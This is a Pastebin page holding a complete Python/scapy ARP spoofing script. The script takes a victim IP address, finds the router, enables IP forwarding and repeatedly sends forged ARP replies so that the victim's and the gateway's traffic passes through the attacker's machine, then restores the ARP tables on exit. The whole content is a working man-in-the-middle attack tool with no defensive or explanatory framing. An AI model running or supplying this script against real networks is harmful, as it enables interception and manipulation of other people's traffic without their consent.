Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- import argparse
- import signal
- import sys
- import time
- try:
- nonetinfo = False
- from netinfo import get_routes
- except ImportError:
- print("Install netinfo for automatic gateway detection")
- nonetinfo = True
- import threading
- conf.iface = "wlan0"
- def parse_args():
- parser = argparse.ArgumentParser()
- parser.add_argument("victimIP", help="victim IP address")
- parser.add_argument("-r", "--routerIP", help="router IP address")
- return parser.parse_args()
- def origMAC(ip):
- ans, unans = sr(ARP(pdst=ip), timeout=5, retry=3, verbose=0)
- for s, r in ans:
- return r[ARP].hwsrc
- def poison(routerIP, victimIP, routerMAC, victimMAC):
- send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC), verbose=0)
- send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC), verbose=0)
- def restore(routerIP, victimIP, routerMAC, victimMAC):
- send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3, verbose=0)
- send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3, verbose=0)
- with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf:
- ipf.write("0\n")
- print("\n")
- sys.exit()
- def main(args):
- victimIP = None
- routerIP = None
- if not args.routerIP and not nonetinfo:
- for route in get_routes():
- routerIP = route['gateway']
- break
- else:
- routerIP = args.routerIP
- victimIP = args.victimIP
- if not victimIP:
- sys.exit("Missing victim IP.")
- if not routerIP:
- sys.exit("Missing router IP.")
- routerMAC = origMAC(routerIP)
- victimMAC = origMAC(victimIP)
- if routerMAC == None:
- sys.exit("Could not find router MAC")
- if victimMAC == None:
- sys.exit("Could not find victim MAC")
- print("Victim IP is: "+victimIP)
- print("Router IP is: "+routerIP)
- print("Victim MAC is: "+victimMAC)
- print("Router MAC is: "+routerMAC)
- with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf:
- ipf.write("1\n")
- while True:
- try:
- poison(routerIP, victimIP, routerMAC, victimMAC)
- time.sleep(1.5)
- except KeyboardInterrupt:
- restore(routerIP, victimIP, routerMAC, victimMAC)
- if __name__ == "__main__":
- main(parse_args())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement